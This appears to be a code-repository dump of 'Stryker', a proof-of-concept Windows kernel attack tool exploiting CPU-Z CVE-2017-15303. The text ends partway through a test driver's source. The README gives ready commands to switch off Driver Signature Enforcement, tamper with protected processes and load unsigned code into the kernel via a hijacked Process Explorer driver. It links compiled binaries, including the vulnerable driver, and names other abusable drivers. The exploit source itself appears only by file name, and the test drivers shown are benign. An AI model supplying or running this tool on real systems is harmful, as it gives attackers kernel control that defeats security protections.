├── LICENSE.md
├── README.md
├── Stryker.sha256
├── bin
├── Stryker.exe
├── cpuz141.sys
├── dummy.sys
├── dummy2.sys
└── procexp152.sys
└── src
├── DummyDrv
├── dummy.sln
└── dummy
│ ├── dummy.vcxproj
│ ├── dummy.vcxproj.filters
│ ├── dummy.vcxproj.user
│ └── main.c
├── DummyDrv2
├── dummy.sln
└── dummy
│ ├── dummy.vcxproj
│ ├── dummy.vcxproj.filters
│ ├── dummy.vcxproj.user
│ ├── main.c
│ ├── main.h
│ └── r3request.c
└── Maya
├── Resource.rc
├── Stryker.sln
├── Stryker.vcxproj
├── Stryker.vcxproj.filters
├── Stryker.vcxproj.user
├── ci.c
├── ci.h
├── drvmap.c
├── drvmap.h
├── drvstore
├── cpuz141.sys
└── procexp152.sys
├── global.h
├── hde
├── hde64.c
├── hde64.h
├── pstdint.h
└── table64.h
├── instdrv.c
├── instdrv.h
├── irp.h
├── ldr.c
├── ldr.h
├── main.c
├── minirtl
├── _filename.c
├── _filename.h
├── _strcat.c
├── _strcmp.c
├── _strcmpi.c
├── _strcpy.c
├── _strend.c
├── _strlen.c
├── _strncmp.c
├── _strncmpi.c
├── _strncpy.c
├── _strstri.c
├── cmdline.c
├── cmdline.h
├── minirtl.h
├── rtltypes.h
├── strtoi.c
├── strtou64.c
├── strtoul.c
├── u64tohex.c
├── u64tostr.c
├── ultohex.c
└── ultostr.c
├── ntos.h
├── ob.c
├── ob.h
├── pagewalk.c
├── pagewalk.h
├── ps.c
├── ps.h
├── readwrt.c
├── readwrt.h
├── resource.h
├── sup.c
├── sup.h
├── test.c
└── test.h
/LICENSE.md:
--------------------------------------------------------------------------------
1 | Copyright (c) Stryker Project authors
2 |
3 | Redistribution and use in source and binary forms, with or without
4 | modification, are permitted provided that the following conditions are met:
5 |
6 | * Redistributions of source code must retain the above copyright notice, this
7 | list of conditions and the following disclaimer.
8 |
9 | * Redistributions in binary form must reproduce the above copyright notice,
10 | this list of conditions and the following disclaimer in the documentation
11 | and/or other materials provided with the distribution.
12 |
13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
14 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
15 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
17 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
18 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
19 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
20 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
21 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
22 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # Stryker
3 | ## Multi-purpose proof-of-concept tool based on CPU-Z CVE-2017-15303
4 |
5 | #### System Requirements
6 |
7 | + x64 Windows 7/8/8.1/10;
8 | + Stryker designed only for x64 Windows;
9 | + Administrative privilege is required.
10 |
11 | # Features
12 |
13 | + Driver Signature Enforcement Overrider (similar to DSEFIx);
14 | + Protected Processes Hijacking via Process object modification;
15 | + Driver loader for bypassing Driver Signature Enforcement (similar to TDL).
16 |
17 | #### Usage
18 |
19 | ###### STRYKER -dse on | off
20 | ###### STRYKER -prot ProcessID (ProcessID in decimal form)
21 | ###### STRYKER -load filename
22 | * -dse - turn off/on Driver Signature Enforcement (similar to DSEFix functionality);
23 | * -prot - modify process object of given ProcessID;
24 | * -load - load input file as code buffer to kernel mode and run it (similar to TDL functionality).
25 |
26 | Example:
27 | + stryker -dse off
28 | + stryker -prot 1188
29 | + stryker -load c:\driverless\mysuperhack.sys
30 |
31 | Note:
32 | Stryker expects both cpuz141.sys and procexp152.sys are located in the same directory as program itself.
33 |
34 | #### Limitations of -dse command
35 |
36 | + PatchGuard awareness.
37 |
38 | #### Limitations of -prot command
39 |
40 | + Likely PatchGuard awareness or subject of future PatchGuard awareness.
41 |
42 | #### Limitations of -load command
43 |
44 | + Loaded drivers MUST BE specially designed to run as "driverless".
45 | + No SEH support for target drivers.
46 | + No driver unloading.
47 | + Only ntoskrnl import resolved, everything else is up to you.
48 | + SysInternals Process Explorer driver as shellcode storage/executor is required.
49 | + Several Windows primitives are banned by PatchGuard from usage from the pool buffer not inside loaded modules list, e.g. notify routines.
50 |
51 | You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware.
52 |
53 | # How it work
54 |
55 | It uses CPU-Z (https://www.cpuid.com/softwares/cpu-z.html) internal driver (version 1.41 as per CVE-2017-15303) to read/write into physical memory and read CPU control registers.
56 |
57 | Depending on command Stryker will either work as DSEFix/TDL or modify kernel mode process objects (EPROCESS).
58 |
59 | When in -load mode Stryker will use 3rd party signed driver from SysInternals Process Explorer software (driver version 1.52) to place a small loader shellcode inside it IRP_MJ_DEVICE_CONTROL/IRP_MJ_CREATE/IRP_MJ_CLOSE handler. This is done by overwriting physical memory where Process Explorer dispatch handler located and triggering it by calling driver IRP_MJ_CREATE (CreateFile call). Triggered shellcode will map input driver as code buffer to kernel mode and run it, current IRQL will be PASSIVE_LEVEL.
60 |
61 | Also with slight modification shellcode can be used to simple execute your small piece of code in the kernel mode (not implemented in this tool).
62 |
63 | # Build
64 |
65 | Stryker comes with full source code.
66 | In order to build from source you need Microsoft Visual Studio 2015 U1 and later versions. For driver builds you need Microsoft Windows Driver Kit 8.1 and/or above.
67 |
68 | # Support and Warranties
69 |
70 | There is no support except critical bugfixes for Stryker itself. There is absolutely ZERO warranties of it work.
71 | Using this program might render your computer into BSOD. Compiled binary and source code provided AS-IS in help it will be useful BUT WITHOUT WARRANTY OF ANY KIND.
72 |
73 | ANY USE OF THE SOFTWARE IS ENTIRELY AT YOUR OWN RISK.
74 |
75 | # Short answers on possible Frequency Asked Questions
76 | + Q: Can anything else except Process Explorer driver be used to execute shellcode?
77 | + A: Yes, but you have to carefully examine candidate to make sure it can store and execute shellcode.
78 |
79 | + Q: What about newest versions of CPU-Z? Can they be used to read/write physical memory, CPU control registers?
80 | + A: CPU-Z driver was redesigned to address CVE-2017-15303 and some functionality is no longer available. However old versions of CPU-Z may have the same functionality.
81 |
82 | + Q: Are the any other similar drivers with same functionality as CPU-Z?
83 | + A: Yes, a lot of them, e.g. WinIO.sys, AsIO64.sys, Asmmap64.sys. They all generally provide read/write access to the physical memory in different ways (\Device\PhysicalMemory).
84 |
85 | + Q: Does this work on every Windows version? Including not released yet?
86 | + A: It was tested on Windows 7 / 8.1 / 10 up to RS3. Working in future versions is unlikely.
87 |
88 | + Q: Will be support of Windows 10 NEXT or Windows XX NEXT added?
89 | + A: Unlikely.
90 |
91 | # References
92 |
93 | * CVE-2017-15303, https://www.cvedetails.com/cve/CVE-2017-15303/
94 | * Decrement Windows kernel for fun and profit, https://sww-it.ru/2018-01-29/1532
95 |
96 | # Authors
97 |
98 | (c) 2018 Stryker Project
99 |
100 |
--------------------------------------------------------------------------------
/Stryker.sha256:
--------------------------------------------------------------------------------
1 | ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d *bin\cpuz141.sys
2 | 56dac82917254aee313f11cea4e760da3561e143c8caa5cc858c8dcf398a622d *bin\dummy.sys
3 | b0d0a71ad8bb42fd9067bea3b3ac68937700df29c91f38be907b67b2e6fd182c *bin\dummy2.sys
4 | 41cceace9751dce2b6ecaedc9a2d374fbb6458cf93b00a1dcd634ad0bc54ef89 *bin\procexp152.sys
5 | 6ee5043af728aaba67ac88a5736daaf6d84bd7823133eaa76c9330587ad9ec37 *bin\Stryker.exe
6 | 14eec2753d0e9b432c54c4a70fc59e3be75674313b6308a7a820e6682f775eb9 *src\DummyDrv\dummy.sln
7 | d61ebda2674d2db05a235478f89fed02c2de049b00ac5648fcebd4c4e638f71c *src\DummyDrv\dummy\dummy.vcxproj
8 | 2d469aafdb7e37a2d58d4e7875abbfd27599762333cba8e28376c16fa7446e9c *src\DummyDrv\dummy\dummy.vcxproj.filters
9 | d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *src\DummyDrv\dummy\dummy.vcxproj.user
10 | 4c86a0477e8f21e81bc6651bc06cea26241fc5b9a033e64c3cd843267fc98575 *src\DummyDrv\dummy\main.c
11 | 14eec2753d0e9b432c54c4a70fc59e3be75674313b6308a7a820e6682f775eb9 *src\DummyDrv2\dummy.sln
12 | f9a718ca087a1dce71638855837c464b190b7310f8e6715fc4471ed2b85af27d *src\DummyDrv2\dummy\dummy.vcxproj
13 | f53e8133a9d12b751445ed57f4574bbeba722d26096196f544ed1794adf699f4 *src\DummyDrv2\dummy\dummy.vcxproj.filters
14 | d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *src\DummyDrv2\dummy\dummy.vcxproj.user
15 | 1e73ce5b6b079e6986509c218ce0880536b37c505056f831989e73b835c1cbbc *src\DummyDrv2\dummy\main.c
16 | f0732da25aa6b0a64eb0ebfc730c0902ed6fd1cc51f43f66813adbc5283de6ec *src\DummyDrv2\dummy\main.h
17 | 10b9fe09b9357cb3c35a00a8b09ae24141ec5941a37c461c2a296d822aa2b512 *src\DummyDrv2\dummy\r3request.c
18 | 37902301d3a65dfc9539f5878381092549494951169f8465cb6cdc66184867f4 *src\Maya\ci.c
19 | 16a9e82679e14bf3240b52b0d9e2bb425b9a99ef2acbf64a98b1783aed652d29 *src\Maya\ci.h
20 | e546b399ee2ac543060c722f4fb3c89749e7dabee29b5ae5f6986e0368ca2ee7 *src\Maya\drvmap.c
21 | 9b47b6962fdebde1340e9018418d550445cdc8e75e0faef2dc31d6da47a4ca11 *src\Maya\drvmap.h
22 | 79eb4def918bff4ca7ac8174ac04620b7c408531baca1181c615d31945720299 *src\Maya\global.h
23 | 530b49b87a69ae214ebbb6ba5ca8d3f922b9772ee20e3907bcb48b1ac1c8084e *src\Maya\instdrv.c
24 | 5ab4e6a630152e02897f0ff346dcf0ae22fdbf2092f1243b9a0ce4e10fadaddd *src\Maya\instdrv.h
25 | 31db46b5679fb5366b148f39a5cf0843ba27139304fe19761e593fb51eec9271 *src\Maya\irp.h
26 | b3f5131b8073fad5f07cfe3f8b72a9c95d8b10ee4f0056eb1c025da883134432 *src\Maya\ldr.c
27 | a2abec15324e2558c89395320fdcfc864695d4d37d0c0daddd3d01365c7e67cd *src\Maya\ldr.h
28 | a5ed7346598f1a22a165ed369515a7f5460f948b99527d38c545e124233509b7 *src\Maya\main.c
29 | 7cb3c0ffebe6edf2521db50c96d95d08b95099320a11a512832720ccd6feafa6 *src\Maya\ntos.h
30 | 9a8930975c0fc064eac881043216c6607e4e8f7ef8939e00d2c3dca67500f45f *src\Maya\ob.c
31 | 3b74d15b45dba480bcf15d282cf62cd9164c2d8ba1f5198ae3b3d763e57f6c73 *src\Maya\ob.h
32 | 27c35e10c8203b0b2cb2c85ff5116b5379e8b31011a9526bd593016a01c1398b *src\Maya\pagewalk.c
33 | 865861938383688616c8073c5625d57adc7d905fc53ae3573b6a752a6974ea8a *src\Maya\pagewalk.h
34 | 551e9cc66d164a1cb332332d69ab4e34d1f6421b47ef8973fb26fcdf686266f7 *src\Maya\ps.c
35 | b2757dc562247653335e2e8a83953182a5f757a00436ea8ea93e6c6d3fd293fc *src\Maya\ps.h
36 | d61a960cb9e272fd832750ea7382b6adc3ad16f4841b2574ed3d7ba2c1ec2839 *src\Maya\readwrt.c
37 | 284cc912557ce154269ca48aa1682d4041a805fab4ff66e05e41ed4d04de1962 *src\Maya\readwrt.h
38 | 6b95cd81ca4f309ac9f243ae73d2e8099634aaffead5b7b214bfcd14b6d604f6 *src\Maya\resource.h
39 | 7a9640f0a7688b9549d631c74b34ec28e19c6549920640d63f2bfa8f6ed6e158 *src\Maya\Resource.rc
40 | cf1bdcc3a06460e390d3b00709ef4f771c7e9972e377cdaf66d74f176e6ef562 *src\Maya\Stryker.sln
41 | 3480b456363c1d8fee4e0d761e9b2c9d8f4de73bbd93c11aa98073c09d167910 *src\Maya\Stryker.vcxproj
42 | bd8a1511e47fd05ce75e1239e295e1e5fd05ee4f067da695e346e4c70648ed2d *src\Maya\Stryker.vcxproj.filters
43 | 20725a2c5a111a89baf22b8b73ba04a5df5eb1f488eeed409b8757f93cbdaa1f *src\Maya\Stryker.vcxproj.user
44 | cfed23b04f4b2e2723a2d3203520b666c88c0b71ac6b0a5b72a88d1c236ff8f3 *src\Maya\sup.c
45 | fbca6e81e0f205ff1f4c98fdd18b02270b8fb2817aafb86f91446983dd27d1d4 *src\Maya\sup.h
46 | 8a697d80b315c249a4c6fa7d2e9a78561d9ca3943679eb6f89d0e49e88c8079e *src\Maya\test.c
47 | d48a6f6fbdd401e264c1b24845df64d54d62c721a1a2b6c853cdf694ec52d18c *src\Maya\test.h
48 | ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d *src\Maya\drvstore\cpuz141.sys
49 | 41cceace9751dce2b6ecaedc9a2d374fbb6458cf93b00a1dcd634ad0bc54ef89 *src\Maya\drvstore\procexp152.sys
50 | 53a7ce27591e040b63880a3dd326b8ba8c97a0fa34d5e2d32aba89a0147434f6 *src\Maya\hde\hde64.c
51 | e99aa4997bda14b534c614c3d8cb78a72c4aca91a1212c8b03ec605d1d75e36e *src\Maya\hde\hde64.h
52 | f8e6a0be357726bee35c7247b57408b54bb38d94e8324a6bb84b91c462b2be30 *src\Maya\hde\pstdint.h
53 | b774446d2f110ce954fb0a710f4693c5562ddbd8d56fe84106f2ee80db8b50a2 *src\Maya\hde\table64.h
54 | 893b90b942372928009bad64f166c7018701497e4f7cd1753cdc44f76da06707 *src\Maya\minirtl\cmdline.c
55 | bd6fe82852c4fcdfab559defa33ea394b752a4e4a5ac0653ae20c4a94b0175ed *src\Maya\minirtl\cmdline.h
56 | 107245437ed86b6f1e839b2d3d9bbadb3d9980046cb5c7001f985fed3627962f *src\Maya\minirtl\minirtl.h
57 | b9de99d3447bb1a125cb92aa1b3f9b56a59522436f1a1a97f23aac9cee90341c *src\Maya\minirtl\rtltypes.h
58 | ca0b7a38be2f3f63a69aca6da7b3a62a59fcefee92de00e9796f68d4a2a23158 *src\Maya\minirtl\strtoi.c
59 | 0320808115d42f04f63a382e8f386aa9bc77ba879892f5ccc94c40378b5131c8 *src\Maya\minirtl\strtou64.c
60 | c51beca480d6e6f88174698503c0856c56488a59101d259c068dccb0902b01ec *src\Maya\minirtl\strtoul.c
61 | e56e67b10a67f0d5ef4128c7ab0c6cb9ba9966916720525edfa6abf3101dfe13 *src\Maya\minirtl\u64tohex.c
62 | 4d15af5a22467795c5367c3956746d01424795784f62ca3f30e4619c063338a5 *src\Maya\minirtl\u64tostr.c
63 | f81c975acd016c97776dd3a8e3218e148682b0336ff3fcd77fad6d9b86ddf107 *src\Maya\minirtl\ultohex.c
64 | 9cbedf9b92abaef3ea28de28dd523ac44079592178ef727c7003c339a5a54712 *src\Maya\minirtl\ultostr.c
65 | c1405b280bacc7566ccd041a74461de3f8496128fd71e39368905cf8d95268f6 *src\Maya\minirtl\_filename.c
66 | 9e3f1386bfb64dbaa3cbb12fd3bf51c734872c2fdf15cf1aaeca52a515767519 *src\Maya\minirtl\_filename.h
67 | 83772aa217508279294d91af5cfabec9b5e00b836a2e2f5fe37cf1ebc2905a52 *src\Maya\minirtl\_strcat.c
68 | 2a67c7690ec6df8e233207116b0e4fe76c02ae43595d9e606e123572b6ac88a1 *src\Maya\minirtl\_strcmp.c
69 | ef1b18997ea473ac8d516ef60efc64b9175418b8f078e088d783fdaef2544969 *src\Maya\minirtl\_strcmpi.c
70 | 969b35213fa23ff50a169e5498a97f28bc6f5820b447b78ec9dc6910dd8cc3e8 *src\Maya\minirtl\_strcpy.c
71 | 27159b8ff67d3f8e6c7fdb4b57b9f57f899bdfedf92cf10276269245c6f4e066 *src\Maya\minirtl\_strend.c
72 | 60f19c6b805801e13824c4d9d44748da8245cd936971411d3d36b873121888eb *src\Maya\minirtl\_strlen.c
73 | 97e0720ed22d2d99e8148aab7ab2cb2cc3df278225669828b2d8d4d9ef856d94 *src\Maya\minirtl\_strncmp.c
74 | 87cc72bb8e3f1534bee09ee278ecd928d975ebb94aeffc767b67249815a0bf3a *src\Maya\minirtl\_strncmpi.c
75 | 0434d69daa20fbf87d829ffc17e43dcc2db3386aff434af888011fdec2f645a4 *src\Maya\minirtl\_strncpy.c
76 | 52a696ae714eb81033c477d1ec6c01389eef56c847609e89d360c2fb6899b4b6 *src\Maya\minirtl\_strstri.c
77 |
--------------------------------------------------------------------------------
/bin/Stryker.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/Stryker.exe
--------------------------------------------------------------------------------
/bin/cpuz141.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/cpuz141.sys
--------------------------------------------------------------------------------
/bin/dummy.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/dummy.sys
--------------------------------------------------------------------------------
/bin/dummy2.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/dummy2.sys
--------------------------------------------------------------------------------
/bin/procexp152.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/procexp152.sys
--------------------------------------------------------------------------------
/src/DummyDrv/dummy.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Release|x64 = Release|x64
11 | EndGlobalSection
12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
13 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64
14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64
15 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/src/DummyDrv/dummy/dummy.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}
15 | {1bc93793-694f-48fe-9372-81e2b05556fd}
16 | v4.5
17 | 12.0
18 | Debug
19 | Win32
20 | dummy
21 | 8.1
22 |
23 |
24 |
25 | Windowsv6.3
26 | true
27 | WindowsKernelModeDriver10.0
28 | Driver
29 | KMDF
30 | Universal
31 |
32 |
33 | Windowsv6.3
34 | false
35 | WindowsKernelModeDriver8.1
36 | Driver
37 | KMDF
38 | Universal
39 | true
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | DbgengKernelDebugger
51 | AllRules.ruleset
52 | .\output\$(Platform)\$(Configuration)\
53 | .\output\$(Platform)\$(Configuration)\
54 |
55 |
56 | DbgengKernelDebugger
57 | AllRules.ruleset
58 | true
59 | .\output\$(Platform)\$(Configuration)\
60 | .\output\$(Platform)\$(Configuration)\
61 |
62 |
63 |
64 | false
65 | true
66 | Speed
67 | false
68 | true
69 | All
70 | true
71 | CompileAsC
72 | true
73 | false
74 |
75 |
76 | false
77 | false
78 | true
79 | true
80 | true
81 | DriverEntry
82 | true
83 | true
84 | false
85 |
86 |
87 |
88 |
89 | false
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
--------------------------------------------------------------------------------
/src/DummyDrv/dummy/dummy.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Source Files
24 |
25 |
26 |
--------------------------------------------------------------------------------
/src/DummyDrv/dummy/dummy.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Off
5 |
6 |
--------------------------------------------------------------------------------
/src/DummyDrv/dummy/main.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017
4 | *
5 | * TITLE: MAIN.C
6 | *
7 | * VERSION: 1.01
8 | *
9 | * DATE: 20 Apr 2017
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 |
18 | #include
19 |
20 | DRIVER_INITIALIZE DriverEntry;
21 | #pragma alloc_text(INIT, DriverEntry)
22 |
23 | /*
24 | * DriverEntry
25 | *
26 | * Purpose:
27 | *
28 | * Driver base entry point.
29 | *
30 | */
31 | NTSTATUS DriverEntry(
32 | _In_ struct _DRIVER_OBJECT *DriverObject,
33 | _In_ PUNICODE_STRING RegistryPath
34 | )
35 | {
36 | PEPROCESS Process;
37 | KIRQL Irql;
38 | PWSTR sIrql;
39 |
40 | /* This parameters are invalid due to nonstandard way of loading and should not be used. */
41 | UNREFERENCED_PARAMETER(DriverObject);
42 | UNREFERENCED_PARAMETER(RegistryPath);
43 |
44 | DbgPrint("Hello from kernel mode, system range start is %p, code mapped at %p\n", MmSystemRangeStart, DriverEntry);
45 |
46 | Process = PsGetCurrentProcess();
47 | DbgPrint("I'm at %s, Process : %lu (%p)\n",
48 | __FUNCTION__,
49 | (ULONG)PsGetCurrentProcessId(),
50 | Process);
51 |
52 | Irql = KeGetCurrentIrql();
53 |
54 | switch (Irql) {
55 |
56 | case PASSIVE_LEVEL:
57 | sIrql = L"PASSIVE_LEVEL";
58 | break;
59 | case APC_LEVEL:
60 | sIrql = L"APC_LEVEL";
61 | break;
62 | case DISPATCH_LEVEL:
63 | sIrql = L"DISPATCH_LEVEL";
64 | break;
65 | case CMCI_LEVEL:
66 | sIrql = L"CMCI_LEVEL";
67 | break;
68 | case CLOCK_LEVEL:
69 | sIrql = L"CLOCK_LEVEL";
70 | break;
71 | case IPI_LEVEL:
72 | sIrql = L"IPI_LEVEL";
73 | break;
74 | case HIGH_LEVEL:
75 | sIrql = L"HIGH_LEVEL";
76 | break;
77 | default:
78 | sIrql = L"Unknown Value";
79 | break;
80 | }
81 |
82 | DbgPrint("KeGetCurrentIrql=%ws\n", sIrql);
83 |
84 | return STATUS_SUCCESS;
85 | }
86 |
--------------------------------------------------------------------------------
/src/DummyDrv2/dummy.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Release|x64 = Release|x64
11 | EndGlobalSection
12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
13 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64
14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64
15 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/src/DummyDrv2/dummy/dummy.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}
15 | {1bc93793-694f-48fe-9372-81e2b05556fd}
16 | v4.5
17 | 12.0
18 | Debug
19 | Win32
20 | dummy
21 | 8.1
22 |
23 |
24 |
25 | Windowsv6.3
26 | true
27 | WindowsKernelModeDriver10.0
28 | Driver
29 | KMDF
30 | Universal
31 |
32 |
33 | Windowsv6.3
34 | false
35 | WindowsKernelModeDriver8.1
36 | Driver
37 | KMDF
38 | Universal
39 | true
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | DbgengKernelDebugger
51 | AllRules.ruleset
52 | .\output\$(Platform)\$(Configuration)\
53 | .\output\$(Platform)\$(Configuration)\
54 |
55 |
56 | DbgengKernelDebugger
57 | AllRules.ruleset
58 | false
59 | .\output\$(Platform)\$(Configuration)\
60 | .\output\$(Platform)\$(Configuration)\
61 |
62 |
63 |
64 | false
65 | true
66 | Speed
67 | false
68 | true
69 | All
70 | true
71 | CompileAsC
72 | false
73 | false
74 |
75 |
76 | false
77 | false
78 | true
79 | true
80 | true
81 | DriverEntry
82 | true
83 | true
84 | false
85 |
86 |
87 |
88 |
89 | false
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
--------------------------------------------------------------------------------
/src/DummyDrv2/dummy/dummy.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Source Files
24 |
25 |
26 |
27 |
28 | Header Files
29 |
30 |
31 |
--------------------------------------------------------------------------------
/src/DummyDrv2/dummy/dummy.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Off
5 |
6 |
--------------------------------------------------------------------------------
/src/DummyDrv2/dummy/main.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017
4 | *
5 | * TITLE: MAIN.C
6 | *
7 | * VERSION: 1.01
8 | *
9 | * DATE: 20 Apr 2017
10 | *
11 | * "Driverless" example #2
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #include
20 | #include "main.h"
21 |
22 | #define DEBUGPRINT
23 |
24 | /*
25 | * PrintIrql
26 | *
27 | * Purpose:
28 | *
29 | * Debug print current irql.
30 | *
31 | */
32 | VOID PrintIrql()
33 | {
34 | KIRQL Irql;
35 | PWSTR sIrql;
36 |
37 | Irql = KeGetCurrentIrql();
38 |
39 | switch (Irql) {
40 |
41 | case PASSIVE_LEVEL:
42 | sIrql = L"PASSIVE_LEVEL";
43 | break;
44 | case APC_LEVEL:
45 | sIrql = L"APC_LEVEL";
46 | break;
47 | case DISPATCH_LEVEL:
48 | sIrql = L"DISPATCH_LEVEL";
49 | break;
50 | case CMCI_LEVEL:
51 | sIrql = L"CMCI_LEVEL";
52 | break;
53 | case CLOCK_LEVEL:
54 | sIrql = L"CLOCK_LEVEL";
55 | break;
56 | case IPI_LEVEL:
57 | sIrql = L"IPI_LEVEL";
58 | break;
59 | case HIGH_LEVEL:
